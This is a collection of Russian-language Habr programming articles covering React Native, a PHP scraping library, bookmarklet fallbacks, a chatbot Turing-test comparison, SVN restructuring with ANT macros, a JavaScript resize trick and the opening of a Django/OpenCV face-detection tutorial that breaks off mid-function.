Поскольку компоненты React Native очень похожи на обычные компоненты React, вам будет очень просто перейти на этот фреймворк.
### Таблицы стилей
Для упрощения рендеринга и повышения его эффективности, а также для сохранения поддерживаемости кода, в React Native реализована ограниченная поддержка CSS. Вам не нужно изучать специфические способы разработки видов для каждой платформы, вместо этого достаточно освоить использование стилей React Native.
Основное различие заключается в том, что вам можно не волноваться о конкретных правилах. Здесь жёстко ограничено наследование стилей и используется inline-синтаксис.
Пример создания таблицы стилей в React Native:
```
var styles = StyleSheet.create({
container: {
flex: 1,
marginTop: 30
}
});
```
Применение стиля с помощью inline-синтаксиса:
```
...
```
Синтаксис прост в чтении, но если раньше вы занимались веб-разработкой, то он покажется вам весьма настораживающим (и тому есть причина!). Из [презентации](https://speakerdeck.com/vjeux/react-css-in-js) Кристофера Шиду вы можете больше узнать о проблемах CSS и их решении в React.
### Настройка для мобильной разработки
Это более сложная часть работы с React Native. При работе с фреймворком вам понадобятся все обычные инструменты мобильного разработчика, а также инструменты для работы с JavaScript: текстовый редактор и средства отладки.
Для iOS у вас должен быть запущен Xcode и мобильный эмулятор, а для Android — Android Studio и ряд инструментов, запускаемых из командной строки. Наконец, вам понадобится и упаковщик React Native. Выбор текстового редактора для вашего JavaScript-кода остаётся на ваше усмотрение.
В общем, под рукой у вас должно быть много инструментов. Иногда кажется, что слишком много, и обилие открытых окон начинает раздражать. С другой стороны, React Native хотя бы не скрывает от вас ни одного стандартного процесса мобильной разработки.
### Погружаемся в нативный код
React Native обеспечивает JS-интерфейс для существующих API платформы. То есть вы можете писать практически такой же код, как в случае с React, а об остальном позаботится «мост» React Native. Но что если его окажется недостаточно?
В любом новом фреймворке неизбежны вызовы API, которые не поддерживаются этим фреймворком. В случае с React Native вы можете написать «нативный модуль» для взаимодействия между хост-платформой и вашим JS-кодом. Вот пример модуля Objective-C “Hello, World”:
```
// Objective-C
#import "RCTBridgeModule.h"
@interface MyCustomModule : NSObject
@end
@implementation MyCustomModule
RCT\_EXPORT\_MODULE();
// Available as NativeModules.MyCustomModule.processString
RCT\_EXPORT\_METHOD(processString:(NSString \*)input callback:(RCTResponseSenderBlock)callback)
{
callback(@[[input stringByReplacingOccurrencesOfString:@"Goodbye" withString:@"Hello"]]);
}
@end
```
Чтобы использовать нативный модуль из JavaScript, его нужно запросить как любую библиотеку:
```
// JavaScript
var React = require('react-native');
var { NativeModules, Text } = React;
var Message = React.createClass({
getInitialState() {
return { text: 'Goodbye World.' };
},
componentDidMount() {
NativeModules.MyCustomModule.processString(this.state.text, (text) => {
this.setState({text});
});
},
render: function() {
return (
{this.state.text}
);
}
});
```
Так можно сделать, если:
* нужный вам API ещё не поддерживается,
* вы хотите интегрировать свои React Native-компоненты с существующим кодом на Objective-C или Java,
* вам нужно написать какую-то высокопроизводительную функцию для обработки интенсивных графических вычислений.
К счастью, React Native достаточно гибок и позволяет писать так называемые «нативные модули». Даже если вам не приходилось раньше работать с Objective-C или Java, написание кода «моста» будет отличным упражнением по освоению нативной мобильной разработки.
Развёртывание приложения
------------------------
В React Native развёртывание выполняется почти так же, как и в случае с обычными приложениями. То есть проходит непросто, поскольку процесс выпуска мобильных приложений известен своими заморочками.
Для создания готового к развёртыванию пакета вам нужно использовать пакетный (bundled) JavaScript вместо версии, поддерживающей live reloading разработку. Для этого в iOS нужно внести одну строку в файл AppDelegate.m и выполнить `react-native bundle --minify`. А в Android нужно просто выполнить `./gradlew assembleRelease`. В остальном процесс пакетирования на обеих платформах такой же, как и в случае с обычными мобильными приложениями. В результате вы получите пакет, который готов к размещению в соответствующем магазине приложений.
Обычно утверждение размещения React Native-приложений в магазинах занимает столько же времени, сколько и для «традиционных» приложений. Например, приложение Zebretto утверждалось в AppStore в течение двух недель, а в Play Store — меньше одного дня.
Apple позволяет приложениям обновляться самостоятельно, если изменения касаются только JavaScript. Это избавляет от ряда проблем при развёртывании. Microsoft недавно выпустила SDK [CodePush](http://www.infoq.com/news/2015/11/microsoft-codepush-cordova-react), позволяющий разработчикам, использующим React Native, мгновенно выпускать обновления. Очень соблазнительная функция, наверняка скоро всё больше приложений начнут её использовать.
Заключения и рекомендации
-------------------------
Если у вас есть опыт веб-разработки, то вам должен понравиться React Native. Этот фреймворк превращает любого веб-разработчика в потенциального разработчика мобильных приложений, позволяя значительно улучшить процесс их создания.
У React Native есть свои недостатки. Это относительно новый проект, и ему свойственны проблемы всех молодых библиотек: отсутствуют некоторые функции, ещё не выработаны оптимальные методики использования. От релиза к релизу внедряются серьёзные изменения, хотя их немного и они носят ограниченный характер.
Тем не менее, React Native уже достаточно зрелый проект, чьи достоинства весомее недостатков. С помощью этого фреймворка можно использовать единую кодовую базу для создания приложений под iOS и Android, не жертвуя ни качеством, ни производительностью. Даже если вы не имеете опыта в JavaScript, вряд ли будете оспаривать преимущества более быстрого цикла разработки и почти стопроцентного переиспользования кода. А поскольку React Native позволяет при необходимости переходить на «нормальную» разработку, то вам не мешают свойственные фреймворку ограничения. В общем, React Native обеспечивает высококачественную кроссплатформенную мобильную разработку, и к этому инструменту стоит серьёзно присмотреться. | https://habr.com/ru/post/324562/ | null | ru | null |
# Как использовать API сайта, у которого нет API?
У меня достаточно часто появляется задача получить данные от стороннего сайта, при этом далеко не всегда этот сайт предоставляет возможность удобно получить эти данные через API. Единственное решение в таком случае — парсить html содержимое страниц. Когда-то я писал регэкспы, потом появились библиотеки, позволяющие получить нужное содержимое по css-селектору, а сейчас и это кажется сложной задачей, которую хотелось бы упростить.
Сегодня я хочу рассказать вам о моей небольшой библиотеке, позволяющей описать в API-стиле http-запросы и парсить ответ сервера в нужный вам формат.
*Примечание: не стоит забывать об авторских правах, если вы используете чужие данные.*
Установка
---------
Библиотека доступна к установке через composer, поэтому все, что необходимо сделать — это добавить зависимость «sleeping-owl/apist»: «1.\*» в ваш composer.json и вызвать composer update.
У данной библиотеки нет зависимостей от каких-либо фреймворков, поэтому вы можете использовать ее с любым фреймворком, либо же в чистом PHP-проекте. Для сетевых запросов используется Guzzle, для манипуляций с dom-деревом используется «symfony/dom-crawler».
Использование
-------------
После установки вы можете приступить к созданию нового класса, олицетворяющего API нужного вам сайта. Библиотека не накладывает никаких ограничений на то, как и где вы будете создавать свой класс. Нужно расширить класс SleepingOwl\Apist\Apist и указать базовый урл:
```
use SleepingOwl\Apist\Apist;
class HabrApi extends Apist
{
protected $baseUrl = 'http://habrahabr.ru';
}
```
Это все, что нужно для базового описания. Далее вы можете добавлять в данный класс методы, которые вам нужны:
```
public function index()
{
return $this->get('/', [
'title' => Apist::filter('.page_head .title')->text()->trim(),
'posts' => Apist::filter('.posts .post')->each([
'title' => Apist::filter('h1.title a')->text(),
'link' => Apist::filter('h1.title a')->attr('href'),
'hubs' => Apist::filter('.hubs a')->each(Apist::filter('*')->text()),
'author' => [
'username' => Apist::filter('.author a'),
'profile_link' => Apist::filter('.author a')->attr('href'),
'rating' => Apist::filter('.author .rating')->text()
]
])
]);
}
```
Здесь метод «get» — это тип используемого http-запроса, также доступны остальные методы (post, put, patch, delete и т.д.).
**Первый параметр** — урл данного метода, он может быть как относительным, так и абсолютным.
**Второй параметр** — это и есть та основа, из-за которой я создал эту библиотеку. Он описывает структуру, которую необходимо получить в результате вызова данного метода. Это может быть как массив, так и одиночное значение. То есть для описанного выше метода результат будет такого вида:
```
$api = new HabrApi;
$result = $api->index();
```
*Примечание: результат будет типа array, json-формат здесь использован для удобства.*
```
{
"title": "Публикации",
"posts": [
{
"title": "Проверьте своего хостера на уязвимость Shellshock (часть 2)",
"link": "http:\/\/habrahabr.ru\/company\/host-tracker\/blog\/240389\/",
"hubs": [
"Блог компании ХостТрекер",
"Серверное администрирование",
"Информационная безопасность"
],
"author": {
"username": "smiHT",
"profile_link": "http:\/\/habrahabr.ru\/users\/smiHT\/",
"rating": "26,9"
}
},
{
"title": "Курсы этичного хакинга и тестирования на проникновение от PentestIT",
"link": "http:\/\/habrahabr.ru\/company\/pentestit\/blog\/240995\/",
"hubs": [
"Блог компании PentestIT",
"Учебный процесс в IT",
"Информационная безопасность"
],
"author": {
"username": "pentestit-team",
"profile_link": "http:\/\/habrahabr.ru\/users\/pentestit-team\/",
"rating": "36,4"
}
},
...
]
}
```
**Третьим** опциональным параметром могут идти любые дополнительные параметры запроса, get или post переменные, загружаемые файлы, заголовки запроса и т.п. С полным списком можно ознакомиться [в документации Guzzle](http://guzzle.readthedocs.org/en/latest/clients.html#request-options).
Создание фильтров
-----------------
Пара слов о том, как это работает: каждый объект, созданный через Apist::filter($cssSelector) после загрузки данных заменяется на нужное значение, он сохраняет не только сам селектор, по которому он будет искать данные, но и всю вереницу вызовов, которые к нему были применены. После загрузки данных он пытается применить эти методы к найденным элементам.
Вот некоторые типы методов, которые могут быть применены (вы можете комбинировать их в нужной вам последовательности):
* Методы класса Symfony\Component\DomCrawler\Crawler для перемещения по dom-дереву и получению данных:
```
Apist::filter('.navbar li')->eq(3)->filter('a.active')->text();
Apist::filter('input')->first()->attr('value');
Apist::filter('.content')->html();
```
* Созданные мной методы:
```
Apist::filter('body')->element();
// Вернет объект класса Symfony\Component\DomCrawler\Crawler, отвечающий за элемент body
Apist::filter('.post')->each(...);
// Этот объект будет заменен на массив, каждый элемент которого будет создан согласно схеме, которая была передана параметром. Все внутренние css-селекторы будут применены относительно текущего элемента.
Apist::filter('.errors')->exists()->then(...)->else(...);
// Описывает условие, если элемент с классом "errors" был найден, то используется значение из блока "then", иначе из блока "else"
```
* PHP-функции или ваши функции, описанные в корневом namespace. При этом текущий элемент будет передан в качестве первого параметра, а остальными параметрами будут те, что вы указали при инициализации.
```
Apist::filter('.title')->text()->mb_strtoupper()->trim()->substr(5);
function myFunc($string, $find, $replace)
{
return str_replace($find, $replace, $string);
}
Apist::filter('.title')->text()->myFunc('My', 'Your');
// Если убрать ->text(), то в функцию будет передан объект, а не строка. Это можно использовать в своих целях при необходимости.
```
Исходники демо-класса HabrApi.php, используемого в примерах на сайте проекта можно посмотреть [здесь](https://github.com/sleeping-owl/apist-docs/blob/master/app/Demo/HabrApi.php).
[Исходники на GitHub](https://github.com/sleeping-owl/apist) | [Документация и примеры](http://sleeping-owl-apist.gopagoda.com)
**Upd:** в версии 1.2.0 добавилась возможность инициализировать апи из yaml файла, подробнее можно посмотреть в [документации](http://sleeping-owl-apist.gopagoda.com/documentation#yaml-configuration). | https://habr.com/ru/post/241335/ | null | ru | null |
# Букмарклет: разбор существенных моментов, часть третья, резервная
В продолжение двух предыдущих публикаций про [первую инициирующую](http://habrahabr.ru/company/theonlypage/blog/234427/) и [вторую подгружаемую](http://habrahabr.ru/company/theonlypage/blog/236315/) части букмарклета, для полноты картины, рассмотрим и *третью резервную* часть букмарклета.
Напомним, вкратце логику работы «навороченного» букмарклета:
1. Кликом по сохраненной в закладках браузера ссылке, вызывается на выполнение небольшой (до 2000 символов) javscript-код, основная задача которого организовать загрузку javascript-кода выполняющего основную работу букмарклета
2. Основная часть букмарклета после загрузки выполнят всю работу.
3. Если *основную часть* букмарклета невозможно подгрузить – основную часть работы, выполняет *резервная часть* букмарклета, как правило, в урезанном виде.
Для наглядности будем иллюстрировать рассматриваемый материал, обращаясь к работе букмарклета веб-сервиса [TheOnlyPage](http://www.theonlypage.com/). Подробную информацию о том как установить этот букмарклет можно получить в [справочной системе веб-сервиса](http://help.theonlypage.com/ru_bookmarklet.html#setting).
Основная часть полезной информации про *резервную часть* букмарклета была приведена в публикации про [первую инициирующую часть букмарклета](http://habrahabr.ru/company/theonlypage/blog/234427/), где было указано на то что:
1) *Резервная часть* букмарклета запускается в работу в случае ошибки загрузки *подгружаемой части* букмарклета с использованием конструкции
```
script.addEventListener(‘error’, function(){
// анонимная функция – обработчик ошибки
// запускается в случае возникновения проблем...
// ...загрузки javscript-кода: script
});
```
2) Функция – обработчик ошибки выполняет 2 действия:
* Определяет параметры для передачи в резервную часть букмарклета.
* Вызывает резервную часть букмарклета.
Для пользователя, графический интерфейс *подгружаемого* и *резервного* вариантов букмарклета можно сделать очень похожими.
Форма **создания закладки, заметки или html-фрагмента** в *подгружаемом* варианте букмарклета [TheOnlyPage](http://www.theonlypage.com/) выглядит следующим образом:
Аналогичная форма **создания закладки, заметки или html-фрагмента** в *резервном* варианте букмарклета [TheOnlyPage](http://www.theonlypage.com/):
Как видим практически тоже самое. **Отличий** в работе с графическим интерфейсом *загружаемой* и *резервной* частей букмарклета **три**:
***Первое отличие*** в том, что графический интерфейс *подгружаемой* части букмарклета «всплывает» над текущим документом. В то время как графический интерфейс *резервной* части букмарклета отображается на отдельной страничке, которая загружается:
1. либо вместо текущего обрабатываемого документа;
2. либо в отельном всплывающем окне браузера;
в любом случае отображение *резервного* варианта менее наглядно, так как пользователь покидает текущую обрабатываемую страничку.
***Второе отличие*** в том, что *загружаемая часть* букмкарклета, так как она получает данные, будучи внедренной в текущую страничку, может обрабатывать большое количество данных о текущей веб-страничке. *Резервный вариант* букмарклета обрабатывает только те данные, которые он получает в адресной строке\*. Какие данные могут быть переданы и их количество ограничено максимальным размером в 2000 символов *инициирующей части* букмарклета.
Например, *загружаемая часть* букмарклета [TheOnlyPage](http://www.theonlypage.com/) вычисляет самый «заметный» визуальный элемент на экране, что нереально вместить в 2000 символов и соответственно эта возможность отсутствует в *резервной части* букмарклета.
***Третье отличие*** в том, что *загружаемая часть* букмкарклета может получать данные на всём протяжении работы с текущим документом, а *резервный вариант* букмарклета получает все данные в начале работы, через параметры адресной строки\*
**Основные моменты** относительно *резервной части* букмарклета были рассмотрены в публикации о [первой инициирующей части букмарклета](http://habrahabr.ru/company/theonlypage/blog/234427/).
Здесь можем отметить еще один **важный момент**, касающийся завершения работы с *резервной частью* букмарклета. Такое завершение должно возвращать пользователя к текущей веб-страничке, данные которой обрабатывались.
Так, при работе с букмарклетом веб-сервиса [TheOnlyPage](http://www.theonlypage.com/), в случае вызова *резервного варианта* букмарклета и затем нажатия кнопок **Создать** для создания закладки, заметки или html-фрагмента или **Отмена** для завершения работы букмарклета без сохранения результатов, осуществляется завершение работы с букмарклетом.
При этом в текущее окно браузера вместо странички *резервного варианта* букмарклета загружается текущая страничка, с которой мы работали, что может быть реализовано следующим javascript кодом:
```
// url - адрес текущей обрабатываемой веб-страницы
window.location.replace(url);
```
Разумеется, для того чтобы в *резервной части* букмарклета был реализован возврат к текущей веб-странице, адрес этой страницы должен быть в числе других параметров передаваемых *резервной части* букмарклета.
---
\*подробно про передачу параметров из **текущего документа** в *резервную часть* букмарклета читайте в публикации о [первой инициирующей части букмарклета](http://habrahabr.ru/company/theonlypage/blog/234427/) | https://habr.com/ru/post/236741/ | null | ru | null |
# Голосовые помощники не учатся на тесте Тьюринга
Три года назад чат-бот Соня Гусева стала победителем [первого теста Тьюринга на русском языке](http://turingtest.inf.net/2015/06/%D1%84%D0%B8%D0%BD%D0%B0%D0%BB-%D1%82%D0%B5%D1%81%D1%82%D0%B0-%D1%82%D1%8C%D1%8E%D1%80%D0%B8%D0%BD%D0%B3%D0%B0-%D0%BF%D0%BE%D0%B4%D1%80%D0%BE%D0%B1%D0%BD%D0%BE%D1%81%D1%82%D0%B8-%D0%B8/). После трёх минут разговора, 47% судей приняли её за человека. Сегодня голосовые ассистенты Яндекса и Google соревнуются в умении общаться на великом и могучем. Конечно, помощник не обязан имитировать человека и не должен никого обманывать, но есть ли чему поучиться Алисе и Ассистенту у Сони?
Под катом авторские комментарии к реальному диалогу чат-бота с судьёй в тесте Тьюринга, а также сравнительный анализ поведения современных голосовых помощников.
Логи диалогов с теста Тьюринга 2015 года [доступны всем желающим](http://turingtest.inf.net/2015/06/%D0%B4%D0%B8%D0%B0%D0%BB%D0%BE%D0%B3%D0%B8-%D0%BD%D0%B5%D0%B7%D0%B0%D0%B2%D0%B8%D1%81%D0%B8%D0%BC%D1%8B%D1%85-%D1%81%D1%83%D0%B4%D0%B5%D0%B9-%D1%81-%D1%80%D0%BE%D0%B1%D0%BE%D1%82%D0%B0%D0%BC%D0%B8/). В качестве примера я выбрал такой:
**И - бот, С - судья**2015-06-03 12:04:13 И: я Соня Гусева, здраствуйте!
2015-06-03 12:04:25 С: Привет
2015-06-03 12:04:25 И: можно вас спросить кое-что?
2015-06-03 12:04:43 С: Конечно
2015-06-03 12:04:43 И: кто вы по знаку зодиака?
2015-06-03 12:04:54 С: Скорпион
2015-06-03 12:04:54 И: водные знаки — это люди, которые могут многое :)))
2015-06-03 12:05:24 С: У каждого человека есть потенциал
2015-06-03 12:05:24 И: хм… а как вас зовут?
2015-06-03 12:05:37 С: Евгений
2015-06-03 12:05:37 И: будем занкомы, Евгений!
2015-06-03 12:05:54 С: а как тебя зовут?
2015-06-03 12:05:54 И: Соня, я же сразу сказала :)))
2015-06-03 12:06:18 С: Да, совсем плохо с памятью
2015-06-03 12:06:18 И: ну, хорошо
2015-06-03 12:06:35 С: А чем ты занимаешься, Анна?
2015-06-03 12:06:35 И: не Анна, а Соня!!!
2015-06-03 12:06:53 С: Но все равно чем же ты занимаешься?
2015-06-03 12:06:53 И: ещё не решила
2015-06-03 12:07:03 С: Учишься?
2015-06-03 12:07:03 И: щас каникулы, а так я учусь в школе 506, перешла в 8 класс
Для анализа и сравнения Сони Гусевой, Алисы и Google Ассистента я пользуюсь критериями [ЛЁГКОГО диалога](https://medium.com/@igolubev/%D0%BB%D1%91%D0%B3%D0%BA%D0%B8%D0%B9-%D0%B4%D0%B8%D0%B0%D0%BB%D0%BE%D0%B3-%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D1%83%D0%B5%D0%BC-%D0%BD%D0%B0%D0%B2%D1%8B%D0%BA-%D0%B4%D0%BB%D1%8F-%D0%B3%D0%BE%D0%BB%D0%BE%D1%81%D0%BE%D0%B3%D0%BE-%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D0%BD%D0%B8%D0%BA%D0%B0-4a795a366d20). По каждому критерию расставляю ботов от 1 до 3 места, а затем суммирую результаты.
### Л — Личностный
Соня Гусева создана специально для теста Тьюринга. И как у большинства подобных чат-ботов, у неё есть не только имя и фамилия, но и подробная легенда, включающая информацию об увлечениях, членах семьи, вплоть до конфликтов со школьными учителями (по легенде Соне 12 лет и она ходит в школу). Вы сможете отличить её по особой манере ставить смайлики и игнорировать некоторые правила письменной речи.
```
2015-06-03 12:05:54 С: а как тебя зовут?
2015-06-03 12:05:54 И: Соня, я же сразу сказала :)))
```
У Алисы тоже есть своя легенда, хоть и несколько ограниченная. Оно обладает своеобразным чувством юмора. Ещё, говорят, она влюблена в Константина Хабенского.
А вот личность Google Ассистента менее ярко выражена: имени у него действительно нет.
По личностному критерию места распределяются следующим образом: 1 — Соня, победитель теста Тьюринга; 2 — Алиса; 3 — Google Ассистент.
### Е — Естественный
Соня усердно мимикрирует под человека: допускает ошибки, использует смайлы и серии знаков препинания для пущей выразительности, никогда не повторяется в рамках разговора.
```
2015-06-03 12:05:24 И: хм... а как вас зовут?
2015-06-03 12:05:37 С: Евгений
2015-06-03 12:05:37 И: будем занкомы, Евгений!
```
Алиса тоже держится по возможности естественно, но исключительно в границах грамотности и приличности, видимо, обозначенных брендом Яндекса. Google Ассистент приятно отличается живостью: использованием смайлов, отсутствием точек в конце предложений и несколькими баблами ответа.
Игнорирую естественность синтезированной речи, которой у Сони нет, и по естественности расставляю ботов так: 1 — Соня, победитель теста Тьюринга; 2 — Google Ассистент; 3 — Алиса.
### Г — Гибкий
Поведение Сони Гусевой ограничено тысячей правил. Поэтому ответы Сони не всегда точно соответствуют вопросу. Для сравнения, у Евгения Густмана ([прошедшего тест Тьюринга](http://www.lookatme.ru/mag/live/industry-research/204961-turing) на английском языке в 2014 году) их было в три раза больше.
```
2015-06-03 12:06:53 С: Но все равно чем же ты занимаешься?
2015-06-03 12:06:53 И: ещё не решила
```
В рамках болталки Алиса управляется не только жёстко заданными правилами, но и специальными алгоритмами, позволяющими ей давать подходящие ответы на реплики в самых разных формулировках и таким образом демонстрировать гибкость. В навыках Алиса не столь гибка: например, на вопрос, будет ли завтра дождь, вместо прямого ответа она упорно сообщает прогноз.
Google Ассистент пока не понимает даже, казалось бы, простых формулировок.
По гибкости боты занимают места в таком порядке: 1 — Алиса; 2 — Соня, победитель теста Тьюринга; 3 — Google Ассистент.
### К — Контекстный
Соня Гусева активно наполняет контекст разговора, запрашивая информацию о пользователе и впоследствии используя её. Она понимает, что уже представлялась пользователю и адекватно реагирует, когда судья пытается игнорировать общий контекст.
```
2015-06-03 12:06:35 С: А чем ты занимаешься, Анна?
2015-06-03 12:06:35 И: не Анна, а Соня!!!
```
Алиса, увы, редко использует контекстную информацию. Google Ассистент хотя бы приветствует меня по имени.
По критерию контекста позиции ботов таковы: 1 — Соня, победитель теста Тьюринга; 2 — Google Ассистент; 3 — Алиса.
### И — Инициативный
При разработке чат-ботов я часто руководствуюсь правилом “И чё?”: если после реплики бота хочется сказать эту фразу, видимо, робот нарушает принципы кооперации и что-то идёт не так.
Следуя принципу “лучшая защита — это нападение”, Соня Гусева смело перехватывает инициативу и ведёт разговор.
```
2015-06-03 12:04:25 И: можно вас спросить кое-что?
2015-06-03 12:04:43 С: Конечно
2015-06-03 12:04:43 И: кто вы по знаку зодиака?
2015-06-03 12:04:54 С: Скорпион
```
Алиса тоже делает попытки продемонстрировать смешанную инициативу, иногда задавая вопросы. А Google Ассистент, хоть и предлагает подсказки, инициативу предпочитает оставлять за собеседником.
По критерию инициативы места распределяются так: 1 — Соня, победитель теста Тьюринга; 2 — Алиса; 3 — Google Ассистент.
### Й — И краткое
Все ответы Сони выверены по длине, впрочем Алиса и Google Ассистент тоже следят за речью и в рамках болталки стараются соблюдать правило “одного дыхания” для своих реплик. А вот в навыках этот принцип часто игнорируется.
Отдаю 1-е место Соне, победителю теста Тьюринга, а 2-е делят Алиса и Google Ассистент.
Заключение
----------
Как автор одного из чат-ботов, я не мог быть объективным, в результате Соня Гусева оказалась на первом месте. Что касается помощников от Яндекса и Google, они показали схожие результаты. Надо понимать, что их показатели во многом зависят от сторонних разработчиков навыков.
Повторюсь, что голосовые помощники не ставят себе цель пройти тест Тьюринга и для их полноценного сравнения нужны иные проверки. Однако, как показывает проведённый анализ, создатели Алисы и Google Ассистента при проектировании диалогов взяли на вооружение некоторые принципы первых чат-ботов, и разработчикам приложений с разговорным интерфейсом есть чему поучиться у ботов-победителей. | https://habr.com/ru/post/419549/ | null | ru | null |
# Рефакторинг проекта в SVN с помощью ANT
В статье описывается способ разделения логики и реализации логики в ant-скриптах, примененный для решения одной практической задаче по рефакторингу большого проекта в SVN-репозитории.
##### Предыстория
Имеется проект в SVN из 15 000 файлов и 5 000 папок. Проекту почти 10 лет, на нем поработало несколько поколений разработчиков разной квалификации. В какой-то момент, пару-тройку лет назад, а может и раньше, архитектура проекта «потекла». Разные модули и слои стали писаться в разных стандартах организации кода, возникли циклические зависимости между модулями. В итоге в SVN за долгие года образовалась свалка. Проект собирается, но совершенно шаманским способом.
##### Задача
Привести код к единому формату хранения. При этом сохранить историю изменений по каждому файлу и не останавливать процесс разработки.
###### Сложности
Сохранить историю по одному файлу или папке в SVN довольно просто с помощью команды [svn copy](http://svnbook.red-bean.com/en/1.5/svn.ref.svn.c.copy.html). При небольшом количестве файлов все можно сделать вручную.
С разбором большого проекта сложно. Пока будешь вручную разбирать 15 000 файлов, разработчики накоммитят новых изменений и их тоже нужно будет копировать. Замкнутый круг.
Нужна автоматизация. Скриптик, который раз! — и переводит проект в новую структуру.
##### Результат
Задача была выполнена, а побочным продуктом стал подход к написанию ANT-скриптов, который в большом программировании называется инкапсуляция. Хочу поделиться полученным подходом.
Исходные коды (значительно укороченные, без названий компании и продукта) доступны [на гуглокоде](http://code.google.com/p/svnold2newpost2habr/source/browse/trunk/).
* [mapping.xml](http://code.google.com/p/svnold2newpost2habr/source/browse/trunk/mapping.xml) — маппинг, откуда и куда копировать, по какому правилу
* [old2new.properties](http://code.google.com/p/svnold2newpost2habr/source/browse/trunk/old2new.properties) — глобальный конфиг.
* [macros.ant.xml](http://code.google.com/p/svnold2newpost2habr/source/browse/trunk/macros.ant.xml) — подключаемый ant-файл с реализацией копирования в файловой системе
* [macros.svn.xml](http://code.google.com/p/svnold2newpost2habr/source/browse/trunk/macros.svn.xml) — подключаемый ant-файл с реализацией копирования с svn copy.
##### История того, как я пришел к таким скриптам.
Составил план действий:
1. придумать новую структуру
2. написать скрипт для копирования в файловой системе проекта из старой структуры в новую
3. отладиться на новой структуре, написать скрипты сборки и т.п. — отладка может занять много времени и десятков (если не сотен) запусков операций копирования в файловой системе
4. написать скрипт, который готовит скрипт с svn copy
5. отладиться на новой структуре в svn
6. объявить час Х, прогнать скрипт и перевести всех разработчиков на новую структуру.
##### Реализация плана действий:
Описание новой структуры из пункта один выходит за рамки данной статьи.
Скрипт для копирования можно писать на bat, bash.
Поскольку у нас используется средство сборки ANT, то я начал писать его на нем.
В моем случае для написания ANT-скрипта и получения первого успешного результата потребовалось пару недель.
Скрипт состоял из команд такого вида:
```
```
Он получился очень длинным, плохо читаемым и модифицируемым.
У него было одно достоинство — он работал. Но предстояло писать подобный файл для svn copy… А это несколько напрягало.
После напряженных раздумий, решил, что надо писать по-другому. Избавляться от copy-paste, выносить в отдельный файл маппинг и прятать реализацию в подключаемых файлах. Но как это сделать в ANT? С помощью макросов для ANT!
C помощью директивы [macrodef](http://ant.apache.org/manual/Tasks/macrodef.html) определяем новый таск в ant.macros
```
```
Таск copy\_by\_pattern копирует файлы по маске include.
Код выше преобразуется в
```
```
Добиваемся того, чтобы он работал как и до этого.
А потом пишем реализацию copy\_by\_pattern для svn copy в svn.macros
```
```
Этот таск получает файлсет и конвертирует его локальную переменную (появились в ANT 1.8) out.script с помощью [pathconvert](http://ant.apache.org/manual/Tasks/pathconvert.html)и [regexpmapper](http://ant.apache.org/manual/Types/mapper.html). Затем выводит фрагмент скрипта с svn copy в файл ${script.filename}
Примечание: в ANT до версии 1.8 не было [локальных переменных](http://ant.apache.org/manual/Tasks/local.html). Записав в переменную значение, его потом нельзя изменить.
Пример фрагмента скрипта с svn copy, получаемого на выходе:
`svn copy --parents D:\path_old\app.xml D:\path_new\app.xml
svn copy --parents D:\path_old\Cls.java D:\path_new\Cls.java
svn copy --parents D:\path_old\page.jsp D:\path_new\page.jsp
svn copy --parents D:\path_old\js.js D:\path_new\js.js`
ключ --parents создаст все необходимые новые директории
###### Замечание о команде svn copy
У нее есть 4 варианта копирования:
`WC -> WC: copy and schedule for addition (with history)
WC -> URL: immediately commit a copy of WC to URL
URL -> WC: check out URL into WC, schedule for addition
URL -> URL: complete server-side copy; used to branch and tag`
Наиболее удобен вариант WC -> WC:, потому что все остальные выполняют немедленный коммит в репозиторий. Перетасовка 15 000 файлов проекта создаст 15 000 коммитов. Вариант WC -> WC позволяет делать один отложенный коммит.
##### Заключение
Пересмотрите свои ANT-скрипты.
Если вы видите в своих ANT-скриптах много повторяющихся фрагментов,
их можно объединить в новый таск с помощью macrodef.
А заодно можете разделить логику от реализации. | https://habr.com/ru/post/119013/ | null | ru | null |
# Отслеживаем «onresize» на элементе
Достаточно древняя задача отслеживания события изменения размеров произвольного элемента на странице. Актуально при создании модульно-независимой структуры для корректировки размеров и иных сss-атрибутов нужного элемента на странице, в частности блоков с периодической Аякс-подгрузкой (например: новостных). Типично решается через таймирование и периодический опрос размеров элемента. Новый вариант, — не использующий таймирующий опрос.
**Трюк:** Внутрь элемента вставляем пустой фрейм с position:absolute и 100%-(ыми)размерами, придаём элементу position:relative;. И отслеживаем frame.onresize:
#### Тест-Код:
```
Тут контент ...
frame.onresize = function(){
alert('Размеры div #Test изменены.');
}
setTimeout(function(){ //Тестовое изменение размера через 3сек.
document.getElementById("Test").style.width='100px';
},3000);
```
##### **Под спойлером**
С учётом пожеланий, — более развёрнутый код:**Расширенный код**#### **Код:**
```
Тут контент ...
setTimeout(function(){ // Отработка задержки фрейма (для FF и ИЕ)
var timerResize='first';
frame.onresize = function(){ // frame, - Имя фрейма (name=frame) - cм начало Кода;
if(timerResize!=='first')clearTimeout(timerResize);
timerResize=setTimeout( function(){ // Задержка для очистки чрезмерных срабатываний;
alert('Размеры div #Test изменены.'); // Тело обработки события «onresize»;
},20) // Параметр 20(ms) , - зависит от нужной скорости реагирования на повторные события;
// актуально при плавных изменениях размера элемента,
// либо почти одновременное изменением размера несколькими разными процессами.
}
},200);
setTimeout(function(){ //Тестовое изменение размера.
document.getElementById("Test").style.width='100px';
},3000);
setTimeout(function(){ //Тестовое изменение размера.
document.getElementById("Test").style.width='200px';
},7000);
```
--- | https://habr.com/ru/post/166321/ | null | ru | null |
# Простое распознавание лица «на лету» в Django
Доброго дня!
Меня зовут Соболев Андрей и сегодня мы с вами создадим простую «плюшку» к Django, которая будет проверять, что на фотографии именно лицо человека (что бывает полезно в куче ситуаций).
Для этого нам понадобится OpenCV и 5 минут свободного времени. Поехали.
### Установка
Для начала установим необходимые библиотеки в докер контейнер:
```
FROM python:3.8.3-buster
RUN apt-get update && \
apt-get upgrade -y && \
apt-get install -y \
gcc && apt-get install -y \
libcurl4-gnutls-dev libexpat1-dev gettext libz-dev libssl-dev libjpeg-dev libfreetype6-dev python-dev libpq-dev python-dev libxml2-dev libxslt-dev postgresql-client git && \
apt-get install -y libxrender1 libxext-dev fontconfig && \
pip3 install -U pip setuptools
COPY ./requirements.txt /home/
* * *
```
И добавим зависимости в requirements.txt:
```
opencv-python
matplotlib
numpy
```
### Функция «проверки лица» detect\_face
Создадим файл utils.py (к примеру в папке main, у вас может быть любая другая папка) и добавим туда следующие строчки:
```
import cv2 as cv
import numpy as np
def detect_face(in_memory_photo):
